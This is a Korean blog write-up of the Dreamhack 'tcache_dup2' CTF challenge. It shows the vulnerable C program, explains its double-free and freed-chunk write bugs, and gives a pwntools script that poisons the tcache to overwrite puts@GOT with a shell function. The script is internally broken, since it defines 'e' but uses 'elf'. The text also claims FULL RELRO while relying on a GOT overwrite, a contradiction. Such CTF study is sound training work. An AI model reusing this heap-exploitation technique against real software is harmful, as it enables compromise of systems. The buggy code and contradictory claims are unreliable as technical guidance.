| 일 | 월 | 화 | 수 | 목 | 금 | 토 |
|---|---|---|---|---|---|---|
| 1 | 2 | 3 | ||||
| 4 | 5 | 6 | 7 | 8 | 9 | 10 |
| 11 | 12 | 13 | 14 | 15 | 16 | 17 |
| 18 | 19 | 20 | 21 | 22 | 23 | 24 |
| 25 | 26 | 27 | 28 | 29 | 30 | 31 |
- 유석종교수님
- Systemhacking
- htmlinjection
- 자료구조
- python
- basicrce3
- cloud
- pwnable
- beebox
- mount
- c
- AWS
- wireshark
- acc
- SISS
- Reversing
- EC2
- cgroup
- fork-bomb
- 백준
- backjoon
- bWAPP
- docker
- 와이어샤크
- CodeEngn
- datastructure
- Reflected
- Dreamhack
- Linux
- System
- Today
- Total
Ctrl + Shift + ESC
[Dreamhack] System Hacking Stage 12 - tcache_dup2 본문
문제

문제에서 주어진 코드이다.
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
char *ptr[7];
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
}
void create_heap(int idx) {
size_t size;
if( idx >= 7 )
exit(0);
printf("Size: ");
scanf("%ld", &size);
ptr[idx] = malloc(size);
if(!ptr[idx])
exit(0);
printf("Data: ");
read(0, ptr[idx], size-1);
}
void modify_heap() {
size_t size, idx;
printf("idx: ");
scanf("%ld", &idx);
if( idx >= 7 )
exit(0);
printf("Size: ");
scanf("%ld", &size);
if( size > 0x10 )
exit(0);
printf("Data: ");
read(0, ptr[idx], size);
}
void delete_heap() {
size_t idx;
printf("idx: ");
scanf("%ld", &idx);
if( idx >= 7 )
exit(0);
if( !ptr[idx] )
exit(0);
free(ptr[idx]);
}
void get_shell() {
system("/bin/sh");
}
int main() {
int idx;
int i = 0;
initialize();
while(1) {
printf("1. Create heap\n");
printf("2. Modify heap\n");
printf("3. Delete heap\n");
printf("> ");
scanf("%d", &idx);
switch(idx) {
case 1:
create_heap(i);
i++;
break;
case 2:
modify_heap();
break;
case 3:
delete_heap();
break;
default:
break;
}
}
}
취약점 탐색
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf 함수에 인자로 stdin과 stdout을 전달하는데, 이 포인터 변수들은 각각 libc 내부의 IO_2_1_stdin과 IO_2_1_stdout을 가리킨다.
따라서 이 중 한 변수의 값을 읽으면, 그 값을 이용하여 libc의 주소를 계산할 수 있다.
이 포인터들은 전역 변수로서 bss에 위치하는데, PIE가 적용되어 있지 않으므로 포인터들의 주소는 고정되어 있다.
Tcache Poisoning으로 포인터 변수의 주소에 청크를 할당하여 그 값을 읽을 수 있을 것이다.
void delete_heap() {
size_t idx;
printf("idx: ");
scanf("%ld", &idx);
if( idx >= 7 )
exit(0);
if( !ptr[idx] )
exit(0);
free(ptr[idx]);
}
ptr[idx]를 해제하고 나서 ptr[idx]포인터를 초기화하지 않으므로 이를 다시 해제하는 것이 가능하다.
즉, Double Free 취약점이 존재한다.
void modify_heap() {
size_t size, idx;
printf("idx: ");
scanf("%ld", &idx);
if( idx >= 7 )
exit(0);
printf("Size: ");
scanf("%ld", &size);
if( size > 0x10 )
exit(0);
printf("Data: ");
read(0, ptr[idx], size);
}
chunk포인터를 초기화하지 않으므로 해제된 청크의 데이터를 조작할 수 있다.
이를 이용하면 Double Free와 관련된 보호 기법을 우회할 수 있을 것이다.
익스플로잇 코드
일단 checksec로 정보를 파악하자.

먼저, 코드를 컴파일하고 checksec으로 보호 기법을 파악했다.
NX와 FULL RELRO 보호 기법이 적용된 것을 확인할 수 있다.
이런 경우, 훅을 덮는 공격을 고려해볼 수 있다.
from pwn import *
p = remote("host1.dreamhack.games", 12165)
e = ELF("./tcache_dup2")
get_shell = elf.symbols["get_shell"]
got_puts = elf.got["puts"]
def create(size, data):
p.sendlineafter(">", "1")
p.sendlineafter("Size: ", str(size))
p.sendlineafter("Data: ", str(data))
def modify(idx, size, data):
p.sendlineafter(">", "2")
p.sendlineafter("idx: ", str(idx))
p.sendlineafter("Size: ", str(size))
p.sendafter("Data: ", str(data))
def delete(idx):
p.sendlineafter(">", "3")
p.sendlineafter(":", str(idx))
create(0x10, "A"*0x10)
create(0x10, "A"*0x10)
create(0x10, "A"*0x10)
delete(0)
delete(1)
delete(2)
modify(2, 0x10, "A"*0x8 + "\x00")
delete(2)
p.sendlineafter(">", "1")
p.sendlineafter(":", "16")
p.sendlineafter(":", p64(got_puts))
create(0x10, "A"*0x10)
p.sendlineafter(">", "1")
p.sendlineafter(":", "16")
p.sendlineafter(":", p64(get_shell))
p.interactive()
작성한 익스플로잇 코드이다.
create(0x10, "A"*0x10)
create(0x10, "A"*0x10)
create(0x10, "A"*0x10)
delete(0)
delete(1)
delete(2)
공격에 사용할 청크를 할당하고 해제한다.
이는 이후 할당할 때 tcache_entry를 참조하여 할당할 수 있게 하기 위해서이다.
modify(2, 0x10, "A"*0x8 + "\x00")
delete(2)
modify 함수를 통해 세 번째 청크를 덮어쓰고 해제한다.
p.sendlineafter(">", "1")
p.sendlineafter(":", "16")
p.sendlineafter(":", p64(got_puts))
create(0x10, "A"*0x10)
p.sendlineafter(">", "1")
p.sendlineafter(":", "16")
p.sendlineafter(":", p64(get_shell))
tcache_entry를 puts@got의 주소로 덮어쓴다.
그 뒤 힙을 두 번 더 할당해서 get_shell의 주소로 덮어쓴다.
got_overwrite를 통해 셸을 구할 수 있다.


끝~~